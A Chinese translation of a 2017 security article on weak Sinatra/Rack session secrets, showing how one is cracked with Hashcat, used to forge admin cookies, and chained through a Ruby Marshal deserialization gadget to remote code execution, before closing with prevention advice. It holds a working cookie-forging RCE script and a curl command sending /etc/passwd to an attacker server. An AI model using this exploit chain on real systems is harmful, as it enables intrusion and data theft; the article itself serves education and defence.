一行代码让你的服务器面临风险
简单会话密钥的危险性
会话密钥是用于加密 cookie 的密钥。应用程序开发人员在开发过程中通常将其设置为弱密钥,并且在生产过程中不会修复它。本文解释了如何破解此类弱密钥,以及如何使用该破解密钥来控制托管应用程序的服务器。我们可以通过使用强密钥和小心密钥管理来防止这种情况。库作者应通过工具和文档来鼓励这一点。
2017 年 4 月 3 日
我最近快速浏览了一个基于 Sinatra 构建的小型 Ruby Web 应用程序。当我浏览配置代码时,我遇到了这一行
set :session_secret, 'super secret'
哦哦。字符串“超级秘密”很可能并不是什么秘密。
即使很明显,当我单独在关于秘密重要性的帖子中提出这一行时,这是一个非常常见的错误类型。这很容易做到。毕竟,这只是众多代码行中的一行,一旦编写完成,就几乎没有理由再次访问代码的这一部分。
更重要的是,这是一个对用户或开发人员都没有直接影响的错误。应用程序仍然可以正常工作,会话仍然保持状态,部署继续顺利进行。
然而,攻击者可能会利用此漏洞以系统中任何用户的身份登录,甚至获得其正在运行的服务器的 shell 访问权限。
让我们探讨一下这是如何可能的,追踪攻击者可能采取的步骤。
但首先,这个会话密钥到底是什么?
什么是会话密钥?
会话密钥是用于签名和/或加密应用程序设置的 cookie 的密钥,以维护会话状态。
在实践中,这通常可以防止用户冒充其他人——确保互联网上的随机人员无法以管理员身份访问你的应用程序。
Cookie 是 Web 应用程序跨不同 HTTP 请求持久化状态(如当前登录的用户)的最常见方式。为了实现这一点,Web 浏览器将保留 Web 服务器想要记住的信息片段,并在每次后续请求中将其发送回去,以提醒服务器,例如,我们仍然处于登录状态——也可能是或不是管理员。
但由于这些 Cookie 由 Web 浏览器(客户端)存储,因此 Web 服务器实际上并不知道它从客户端接收的 Cookie 是否合法。此保证未由 Cookie 规范 提供,其中指出
恶意客户端可以在传输前更改 Cookie 标头,从而导致不可预测的结果
这听起来很糟糕。稍后,规范向我们提供了一些建议
服务器在将 Cookie 内容传输到用户代理时,应加密并对其进行签名(使用服务器所需的任何格式)
此建议并未得到严格遵循,而 Web 框架现在才开始默认加密 Cookie。但是,Sinatra(和较低级别的框架 Rack)确实默认对 Cookie 进行签名。这意味着虽然客户端可以读取 Cookie 的内容,但它们不应该能够以任何方式更改该值。
许多其他框架提供执行相同操作的功能。例如,Node/Express 有一个 secret
参数,Python/Django 有一个 SECRET_KEY
参数,而 Java/Play 有一个 crypto.secret
参数。虽然它们在底层可能使用略有不同的算法,但基本功能是相同的,并且它们容易受到我即将在 Ruby/Sinatra 的上下文中描述的相同攻击。
查看有关 Cookie 管理的 Rack 代码,我们看到
class Rack::Session::Cookie
def write_session(req, session_id, session, options)
session = session.merge("session_id" => session_id)
session_data = coder.encode(session)
if @secrets.first
session_data << "--#{generate_hmac(session_data, @secrets.first)}"
end
# …
def generate_hmac(data, secret)
OpenSSL::HMAC.hexdigest(@hmac.new, secret, data)
end
def initialize(app, options={})
@secrets = options.values_at(:secret, :old_secret).compact
@hmac = options.fetch(:hmac, OpenSSL::Digest::SHA1)
# …
Rack 首先会以某种方式对会话数据进行编码,然后(在其默认配置中)使用 OpenSSL 生成会话密钥和会话数据的 HMAC-SHA1,并将该 HMAC 附加到用“--”分隔的已编码会话数据中。
用数学术语来说,应用程序返回一个 Cookie 值 (data, hmac)
,其中 hmac = hmac-sha1(secret, data)
通过向我们的应用程序发出请求,我们可以看到结果
$ curl -v http://192.168.50.50:9494/ (...) < Set-Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTdhYTliNGY5ZjVmOTE4MjIxYTU5%0AMGM4OGI1Y TdjMzA3Y2QxNTYyYmJjZGQwYTEyNjJmOThhNmVlNmQzM2ExMTEG%0AOwBGSSIJY3NyZgY7AEZJIiU2M2ZjZTF kZGIxNTc1ZmU4YzM0Y2YyZjc2M2Vl%0AMGMwYQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBfVVNFUl9BR 0VOVAY7%0AAFRJIi1lZjE4YWVkMjg0YWI3NWU3MGEwMWIyMmUzMWI5MGU3YmE0NDcwYzc2%0ABjsARkkiGUhU VFBfQUNDRVBUX0xBTkdVQUdFBjsAVEkiLWRhMzlhM2VlNWU2%0AYjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkOD A3MDkGOwBG%0A--b64eac9e0a5fb41a12b58a7ffe97c51b73fbf1a6; path=/; HttpOnly
因此,如果我们知道
data = BAh...%0A
并且
hmac = b64...1a6
那么为了篡改会话数据,我们需要找到一个密钥,其中
hmac-sha1(secret, BAh...%0A) = b64...1a6
根据设计,无法通过数学方式计算此等式中的密钥。为了找到它,我们只需要不断猜测,直到找到正确的值...
如何破解弱会话密钥
因此,“超级密钥”并不是加密安全的随机数据... 但攻击者真的能够在没有访问源代码的情况下利用这一点吗?
虽然 SHA1 不可逆,但不幸的是,在这种情况下,它非常快(作为一种通用哈希函数,它被设计为这样)。如果密钥是足够长的加密安全随机数据,这不是问题,但“超级密钥”肯定不是。让我们看看攻击者需要多长时间才能猜到它。
我们可以尝试使用字典攻击,而不是进行完全随机猜测,从而导致暴力攻击。字典攻击的名称源于尝试字典中的每个单词,但实际上字典只是开始。Taylor Hornby 这样描述他的 CrackStation 列表
该列表包含了我可以在互联网上找到的每个单词表、字典和密码数据库泄露(我花了大量时间寻找)。它还包含维基百科数据库(页面文章,检索于 2010 年,所有语言)中的每个单词以及古腾堡计划中的大量书籍。它还包括几年前在地下出售的一些低调数据库泄露的密码。
哇,这听起来像很多数据。完整的 CrackStation 列表在单个 15 千兆字节的文件中包含近 15 亿个条目。
SHA1 速度很快,但对于如此多的数据,我们必须确保尽可能快地计算这些哈希值。Hashcat 是一个专门用于此目的的程序。Hashcat 使用经过高度优化的 C 语言编写,同时利用 CPU 和 GPU,它将快速完成 SHA1。GPU 支持非常关键,因为 GPU 可以比 CPU 更快地计算哈希值。我的笔记本电脑没有 GPU,但如果不利用此支持,那将非常遗憾...
2013 年底,亚马逊推出了 GPU 实例,作为其 EC2 产品的一部分。只需每小时 2.60 美元,我们就可以租用一个 g2.8xlarge 实例,其中包含
- 4 个 GPU
- 32 个 vCPU
- 60G 内存
借助 CrackStation 字典表、Hashcat 和我们的巨型 EC2 实例,我们拥有一个相当不错的哈希设置,而这几乎不需要什么精力,而且成本低得惊人。
字典攻击
让我们使用一些样本数据来尝试一下
gen-cookie.rb…
require 'base64'
require 'openssl'
key = 'super secret'
cookie_data = 'test'
cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
puts("#{cookie}--#{digest}")
$ ruby gen-cookie.rb BAhJIgl0ZXN0BjoGRVQ=--8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2
Hashcat 主要设计用于破解密码哈希值,其中通常包括密码和盐,而不是数据和密钥。但由于人们有时在密码存储方案中使用 HMAC-SHA1,因此该程序支持它。假设我们的会话数据是密码盐,我们将 cookie 值转换为 Hashcat 预期的“哈希值:盐”格式
$ echo '8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=' > hashes
然后使用我们新的单行哈希文件、crackstation 字典表和“-m150”选项运行 Hashcat,告诉它使用 HMAC-SHA1(可以通过键入'hashcat -h'
来查看支持算法的完整列表)
$ hashcat -m150 hashes ~/wordlists/crackstation.txt (...) 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=:super secret Session.Name...: hashcat Status.........: Cracked Input.Mode.....: File (/home/ec2-user/wordlists/crackstation.txt) Hash.Target....: 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:... Hash.Type......: HMAC-SHA1 (key = $pass) Time.Started...: Wed Aug 17 21:45:08 2016 (43 secs) Speed.Dev.#1...: 6019.4 kH/s (12.95ms) Speed.Dev.#2...: 5714.5 kH/s (13.04ms) Speed.Dev.#3...: 5626.1 kH/s (13.20ms) Speed.Dev.#4...: 6096.9 kH/s (13.24ms) Speed.Dev.#*...: 23456.9 kH/s Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 1021407839/1196843344 (85.34%) Rejected.......: 6826591/1021407839 (0.67%) Restore.Point..: 1017123528/1196843344 (84.98%) Started: Wed Aug 17 21:45:08 2016 Stopped: Wed Aug 17 21:46:04 2016
哇!在短短 43 秒内,我们就完成了超过十亿个哈希值,并且在完成列表的 85.34% 时,正确猜出了“超级秘密”。
警告
不幸的是(或幸运的是?)使用 Hashcat 时有一个警告:因为它实际上是专为与密码一起使用而设计的,并且密码盐往往很短,所以它不接受长度超过 55 个字符的“盐”,而机架会话数据通常会超过此长度。
但是,这并不意味着其他程序,甚至是定制软件,将无法处理更长的有效负载。
影响
此实验清楚地表明,针对机架会话密钥的字典攻击完全有可能。如果会话密钥在密码学上不够随机,则可以在相当短的时间内,以较少的精力和资源猜出它。
此攻击不仅限于机架密钥,而且许多 Web 框架在其默认配置中都需要会话密钥才能安全运行。这些密钥的工作方式与我们的:session_secret
非常相似,并且也可以用类似的方式猜出。
接下来,让我们探索攻击者在猜出此密钥后可能造成的危害。
控制应用程序
所以现在我们有了会话密钥...这能给我们带来什么好处?第一个也是最明显的事情是尝试欺骗管理员会话。
该应用程序有一个/manage
路径,只有管理员才能访问。在没有 cookie 的情况下请求它只会将我们重定向到登录页面
$ curl -v http://192.168.50.50:9494/manage * Hostname was NOT found in DNS cache * Trying 192.168.50.50... * Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0) > GET /manage HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.50.50:9494 > Accept: */* > < HTTP/1.1 302 Found < Location: http://192.168.50.50:9494/login (...)
好的,但现在我们知道了会话密钥,我们可以使用我们想要的任何值创建一个 cookie,并且应用程序将信任它。
让我们创建一个 cookie,其中一些常见的管理员标志设置为 true,使用密钥“超级秘密”以 HMAC-SHA1 签名,然后将其发送到 Web 服务器以查看是否被接受
gen-cookie-2.rb…
require 'base64' require 'openssl' key = 'super secret' cookie_data = { :authorized => true, :authorised => true, :admin => true, :loggedin => true } cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie) puts("#{cookie}--#{digest}")
运行此命令…
$ curl -v http://192.168.50.50:9494/manage --cookie "rack.session=$(ruby gen-cookie-2.rb)" * Hostname was NOT found in DNS cache * Trying 192.168.50.50... * Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0) > GET /manage HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.50.50:9494 > Accept: */* > Cookie: rack.session=BAh7CToPYXV0aG9yaXNlZFQ6D2F1dGhvcml6ZWRUOgphZG1pblQ6DWxvZ2dlZGluVA==--a3b1d4402b7345022f50a82671c17fa2b3b174e3 > < HTTP/1.1 200 OK < Content-Type: text/html;charset=utf-8 < Content-Length: 2746 (...)
200 OK!在这种情况下,应用程序正在寻找要设置的“授权”标志。看到应用程序使用“管理员”标志也很常见。有时它是一个用户 ID,而不是一个简单的标志,在这种情况下,你可以尝试使用 0 或 1 等较低的值——这些通常是管理员。
影响
攻击者可以访问应用程序公开的任何管理功能。此外,他们还可能冒充应用程序的任何其他用户。大量敏感数据可能会被泄露,任何仅限管理员使用的危险功能都可能会被滥用。
遗憾的是,故事并没有就此结束。在下一节中,我们将展示攻击者如何利用这一点,在没有其他漏洞的情况下升级到远程代码执行。
控制服务器
此时,我们已经控制了应用程序...但实际上我们可以更进一步,以控制服务器。
如果我们回到 Rack 中的 cookie 处理代码,我们会看到用于编码和解码 cookie 的以下方法
class Rack::Session::Cookie…
def initialize
# snip…
@coder = options[:coder] ||= Base64::Marshal.new
# …
# Encode session cookies as Marshaled Base64 data
class Marshal < Base64
def encode(str)
super(::Marshal.dump(str))
end
def decode(str)
return unless str
::Marshal.load(super(str)) rescue nil
end
end
默认情况下,Rack 使用 Marshal.dump
和 Marshal.load
序列化和反序列化数据。这对开发人员来说很方便,因为它允许在会话中保存任意 Ruby 对象,但不幸的是,这也意味着攻击者可以滥用此功能,通过实例化具有精心选择的值的对象来欺骗应用程序执行任意代码。
这可以使用 Stefan Esser 在 2010 年 PHP unserialize()
漏洞的背景下称为面向属性的编程的技术。
当我们控制 PHP 的 unserialize()
或 Ruby 的 Marshal.load()
的输入时,我们可以告诉应用程序加载我们想要的任何类,以及我们想要的任何属性。Ruby 和 PHP 都不允许序列化代码,因此诀窍是选择类和属性值,当应用程序像往常一样与它们交互时,最终将执行我们选择的代码。
在我们的例子中,Rack 对反序列化的会话数据执行的第一件事是数组查找
class Rack::Session::Cookie…
def extract_session_id(request)
unpacked_cookie_data(request)["session_id"]
end
那么,我们如何将一个简单的数组查找变成有趣的东西呢?
2013 年,Charlie Somerville 在 Rails ActiveSupport gem 中发现了一个神奇的类,称为 DeprecationProxy。尽管有问题的应用程序是基于 Sinatra 构建的,但它将 ActiveSupport 作为依赖项引入。
DeprecationProxy 很神奇,因为它有两样对我们非常有用的东西...一个 method_missing
方法,以及一个我们可以完全控制的 .__send__()
调用。
method_missing
意味着任何调用,包括我们的 session_id
查找,都将触发我们想要的代码路径
class ActiveSupport::Deprecation::DeprecationProxy
def method_missing(called, *args, &block)
warn caller_locations, called, args
target.__send__(called, *args, &block)
end
忽略上面的 __send__
调用,我们感兴趣的调用发生在它执行之前,在目标方法中
class ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
def target @instance.__send__(@method) end
哇!因为 @instance
和 @method
都是实例变量,所以我们可以在反序列化后控制它们的值,从而允许我们在任何对象上调用任何方法(只要该方法可以在没有参数的情况下调用)。
我们应该执行什么方法?在 Rails 应用程序中,我们可以创建一个 ERB 模板,但此应用程序使用带有 Slim 模板的 Sinatra,并且不会引入 ERB。
幸运的是,我在 Slim 构建的 Temple 库中找到了 Temple::ERB::Template
类。
module Temple # ERB example implementation # # Example usage: # Temple::ERB::Template.new { "<%= 'Hello, world!' %>" }.render # module ERB # ERB Template class Template = Temple::Templates::Tilt(Engine) end end
此类就像 Rails ERB 模板一样,并允许我们序列化一个字符串,当调用 render 时,该字符串将由模板 eval。
在服务器上执行命令
好的,让我们把它们放在一起
gen-cookie-rce.rb…
require 'base64' require 'openssl' require 'temple' @key = 'super secret' @payload = ARGV.join ' ' def gen_cookie_with_digest(cookie_data) cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), @key, cookie) "#{cookie}--#{digest}" end class ActiveSupport class Deprecation class DeprecatedInstanceVariableProxy def initialize(i, m) @instance = i @method = m end end end end erb = Temple::ERB::Template.new { "<% #{@payload} %>" } cookie_data = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :render puts gen_cookie_with_digest(cookie_data)
但是当我们运行它时...
$ ruby gen-cookie-rce.rb gen-cookie-rce.rb:14:in `dump': no _dump_data is defined for class Proc (TypeError) from gen-cookie-rce.rb:14:in `gen_cookie_with_digest' from gen-cookie-rce.rb:41:in `<main>
嗯,一个 Proc 是代码,所以无法序列化...但我们的有效负载是一个字符串。那个 Proc 从哪里来的?
$ irb 2.2.2 :001 > require 'temple' => true 2.2.2 :002 > t = Temple::ERB::Template.new { "<% puts 'test' %>" } => #<Temple::ERB::Template:0x000000010ced00 @options={}, @line=1, @file=nil, @compiled_method={}, @default_encoding=nil, @reader=<Proc:0x000000010cecd8@(irb):2>, @data="<% puts 'test' %>", @src="_buf = []; puts 'test' ; _buf << (\"\".freeze); _buf = _buf.join"
好的,Template 使用一个 Proc 初始化 @reader
实例变量...但我们可以更改它。当我们这样做时,我们也可以直接设置 @src
属性
2.2.2 :010 > t = Temple::ERB::Template.new { "" } => #<Temple::ERB::Template:0x0000000117e8e0 @options={}, @line=1, @file=nil, @compiled_method={}, @default_encoding=nil, @reader=#<Proc:0x0000000117e890@(irb):10>, @data="", @src="_buf = \"\""> 2.2.2 :011 > t.instance_variable_set(:@reader, nil) => nil 2.2.2 :012 > t.instance_variable_set(:@src, "puts 'test'") => "puts 'test'" 2.2.2 :013 > Marshal.dump(t) => "\x04\bo:\x1ATemple::ERB::Template\r:\r@options{\x00:\n@linei\x06:\n@file0: \x15@compiled_method{\x00:\x16@default_encoding0:\f@reader0:\n@dataI\" \x00\x06:\x06ET:\t@srcI\"\x10puts 'test'\x06;\rT" 2.2.2 :014 > Marshal.load(Marshal.dump(t)).render test
看起来不错。
更新脚本后
gen-cookie-rce.rb...
erb = Temple::ERB::Template.new { "" } erb.instance_variable_set :@reader, nil erb.instance_variable_set :@src, @payload
我们现在可以成功生成有效负载
$ ruby gen-cookie-rce.rb 'puts test' BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQ cm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5l aQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIw OgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOcHV0cyB0ZXN0BjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZGVw cmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--ab97c627274697118a 8c17a411917b0e35759200
虽然我们也可以尝试在远程服务器上打印一行,但我们可能不会在收到的响应中看到输出。那么,我们如何判断是否成功了呢?
像这样进行“盲”测试时,一种常见的策略是执行休眠或等待几秒钟。如果我们在执行此操作时服务器挂起一段时间,则说明我们能够执行命令。
让我们使用反引号从 Ruby 外壳执行 sleep 命令
$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`sleep 2`')" * Hostname was NOT found in DNS cache * Trying 192.168.50.50... * Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.50.50:9494 > Accept: */* > Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRl ZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ0 6DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF 9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQ G1ldGhvZDoLcmVuZGVy--125155123857318baac81efb24c2c630bb5cf610 > < HTTP/1.1 500 Internal Server Error < Content-Type: text/plain < Content-Length: 6435 * Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted < Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) < Date: Fri, 19 Aug 2016 00:13:43 GMT < Connection: Keep-Alive < NoMethodError: private method `warn' called for nil:NilClass /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:92:in `warn' /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:23:in `method_missing' (...)
啊。如果我们查看堆栈跟踪指向的 warn 方法,我们就会看到发生了什么
class DeprecatedInstanceVariableProxy…
def warn(callstack, called, args) @deprecator.warn( "#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack) end
warn
想要调用 @deprecator.warn()
,但我们没有为该字段指定任何值,因此它保留为 nil
。
我四处查找定义 warn 方法的类,并找到了 Bundler::UI::Silent
class Bundler::UI::Silent…
def warn(message, newline = nil) end
因此,我们在代理中添加了一个静默记录器
gen-cookie-rce.rb...
class DeprecatedInstanceVariableProxy
def initialize(i, m)
@instance = i
@method = m
@deprecator = Bundler::UI::Silent.new
end
end
并再次尝试
$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby ./gen-cookie-rce.rb '`sleep 2`')" * Hostname was NOT found in DNS cache * Trying 192.168.50.50... * Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.50.50:9494 > Accept: */* > Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6R GVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZ To6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvb XBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0Y UkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZ GVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--f15 c54bf271f0b3aee1c589fa40869abade262c4 >
我等了 6 秒,然后…
< HTTP/1.1 500 Internal Server Error < Content-Type: text/plain < Content-Length: 6298 * Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted < Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) < Date: Fri, 19 Aug 2016 00:13:43 GMT < Connection: Keep-Alive < IndexError: string not matched /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `[]=' /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'
哇!等待时间很长...事实证明我们的命令被执行了三次。但无论是一次还是三次,外壳就是外壳。
您还可以看到我们仍然从应用程序中收到了错误,但我们不在乎,因为我们的命令已经执行了。
从服务器获取数据
外壳就是外壳?也不尽然。现在我们可以执行命令,但我们甚至看不到结果。但是,我们可以通过将数据发送到我们控制的 Web 服务器来轻松解决此问题。
首先,我们在具有公有可路由 IP 的计算机上设置一个简单的 Python http 服务器
$ cd $(mktemp -d) $ python3 -mhttp.server Serving HTTP on 0.0.0.0 port 8000 ...
然后查看是否可以在受损主机上调用 curl
$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000`')"
并切换回我们的 Python 服务器
127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [18/Aug/2016 17:40:48] "GET / HTTP/1.1" 200 -
不错。我们可以包含一些实际数据吗?
$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000?$(cat /etc/passwd | base64 -w0)`')" 127.0.0.1 - - [18/Aug/2016 17:50:26] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 - 127.0.0.1 - - [18/Aug/2016 17:50:27] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 - 127.0.0.1 - - [18/Aug/2016 17:50:28] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 - $ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
影响
在此示例中,我们仅从服务器中提取 /etc/passwd
文件。这实际上并不是因为 passwd 文件特别敏感——通常不是——而是因为它通常是存在于每个 Linux 服务器上的世界可读文件。我们只是证明我们可以执行任意命令并读取结果。
从这里开始,攻击者可能会首先确定应用程序可以访问哪些外部系统。数据库、内部 Web 服务和备份系统都是有价值的目标。
然后,他们将使用应用程序使用的相同信息和凭据来探索这些服务。例如,应用程序使用的数据库可能包含有价值的数据,例如用户名/密码信息、PII 和信用卡信息。
同样,这些类型的攻击并非 Rack 或 Ruby 特有的。反序列化是一项复杂的任务,当接受不受信任的数据时,通常会被利用。 此类漏洞 在 2015 年的(Java)Apache Commons Collections 库中被发现,影响了 WebLogic、WebSphere、JBoss 和 Jenkins 等产品。但是,不使用对象序列化的框架不太容易受到此类攻击。例如,随着 4.1 版本的发布,Rails 将默认序列化机制从 Marshal 切换到 JSON,从而减轻了此攻击的 RCE 部分,并限制了对伪造会话的破坏。
预防
我们已经演示了攻击者如何因一行(尽管很关键)的配置代码而切实获得对 Web 服务器的完全外壳访问权限。现在,我们可以采取哪些措施来防止此类漏洞再次发生?
对于应用程序开发人员
第一步是意识到。我们在 AppSec101(Thoughtworks 的应用程序安全培训课程)中强调的一项安全交付原则就是“保守秘密”。这听起来很明显,但做起来比听起来要难。很多时间都花在了创建秘密管理工具和策略上,其中一些策略由 Daniel Somerfield 在他的 AppSecUSA 演讲 "Turtles All the Way Down: Storing Secrets in the Cloud and the Data Center" 中进行了讨论。具体来说,Hashicorp Vault 是一个很有前途的秘密管理服务器,它对帐户管理和审计提供了良好的支持。但是,设置它可能需要一些工作,而且简单的解决方案仍然比什么都没有好得多。敏感的配置值可以在应用程序启动时指定为环境变量,并作为受保护的字段提供给 CI 工具。例如,Jetbrains TeamCity 支持 隐藏密码参数。对于长期存储,1Password 和 pass 等密码管理器具有使团队能够安全存储和共享秘密的功能。电子邮件、IM、wiki 和便签在我们秘密管理策略中没有一席之地!
那么,我们应该做什么而不是复制和粘贴“超级秘密”?
在开始走这条路之前,如果你有任何可以帮助你的安全专家,你应该向他们请教。关于密钥生成和管理的决策在很大程度上取决于你的情况以及你的组织和应用程序所需的安全性级别。不要害怕寻求帮助!
但是,如果你没有可以交谈的专家,这里有一些简单的步骤可以让我们启动并运行应用程序。
我们需要使用密码安全伪随机数生成器或 CSPRNG 来生成密钥。我们可以通过从 /dev/urandom
读取数据并在 base64 中进行编码来在 Unix 系统上执行此操作,这样我们最终会得到可打印的 ASCII 字符
$ head -c20 /dev/urandom | base64 Xe005osOAE8ZRMDReizQJjlLrrs=
在这里,我们生成一个 20 字节或 160 位密钥。你应该使用什么密钥大小是你的安全专家需要回答的一个重要问题。我选择 20 字节,因为这是 SHA-1 的长度,而拥有更长的密钥对我们没有帮助。如果我们认为 160 位不够安全,那么我们需要替换 SHA-1 并增加会话密钥的长度。
接下来,我们不会将此密钥添加到源代码,而是通过环境变量动态引用它。
set :session_secret, ENV.fetch('SESSION_SECRET') { SecureRandom.hex(20) }
这将尝试从环境变量中提取会话密钥,并且如果我们忘记指定一个,则会在缺少环境变量时动态生成它。
最后,我们必须在应用程序启动时指定此环境变量
SESSION_SECRET=’Xe005osOAE8ZRMDReizQJjlLrrs=’ ruby sinatra-app.rb -p 8080
如果你想知道在启动应用程序时将秘密保存在哪里以指定它,那么你已经遇到了“一路都是乌龟”的问题,你应该看看 Daniel 的演讲。根据你的自动化级别、运营团队的成熟度和所需的安全级别,有许多不同的策略。如果你只需要快速完成某些事情,请考虑设置一个团队密码管理器,例如 1Password Teams、 Dashlane Business 或 pass
或者,我们可以使用 Rack::Session::Pool 将数据存储在服务器上,并使用存储在 Cookie 中的随机会话标识符将其与特定客户端关联,而不是将会话数据存储在客户端上并使用会话密钥来确保其完整性。此策略消除了在这种情况下使用密钥的需要,但请记住,几乎每个应用程序都会有需要妥善管理的密钥。数据库密码、API 密钥、TLS 私钥和任何其他加密令牌如果泄露或生成不安全,都可能造成灾难性后果,因此无论如何都值得考虑您的密钥管理策略。您可以在 Web 应用程序安全基础知识 中的这篇文章中阅读有关使用随机会话标识符进行安全会话管理的更多信息。
对于库和框架作者
理想情况下,这种态度将扩展到交付团队以及框架和库中。例如,Rails 在最近几年强调在其生成的配置文件中密钥管理的重要性方面做得很好
文件 config/secrets.yml…
# [snip] # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. # You can use `rails secret` to generate a secure secret key. # [snip] # Do not keep production secrets in the repository, # instead read values from the environment. production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>]]></pre>
不幸的是,在我发现此漏洞时,Sinatra 在其文档中并不是很明确
首先,没有指示如何生成一个值来代替“超级机密”。它应该有多长?两个字典词是否足够“随机”?示例只有两个单词,所以这有道理。一旦我们有了秘密,是否应该将其检入源代码控制?此配置文件的其余部分是,所以这必须是需要做的事情。
您可能还记得,本文开头提到的文档中的这个示例正是我们在应用程序中发现的。虽然像这样复制和粘贴代码并毫无疑问地使用它绝对是一种不好的做法,但很容易想象这种做法是如何通过漏洞的。也许开发人员快速添加了该行以通过测试,这意味着稍后会返回并更改它,但忘记了,因为一切都“绿色”。也许当发现一个高优先级生产问题并需要立即关注时,他们就去研究如何生成正确的密钥。
如果 Sinatra 示例展示了使用环境变量来保存密钥并明确描述了密钥生成的安全方法,我可能就不会写这篇文章了。
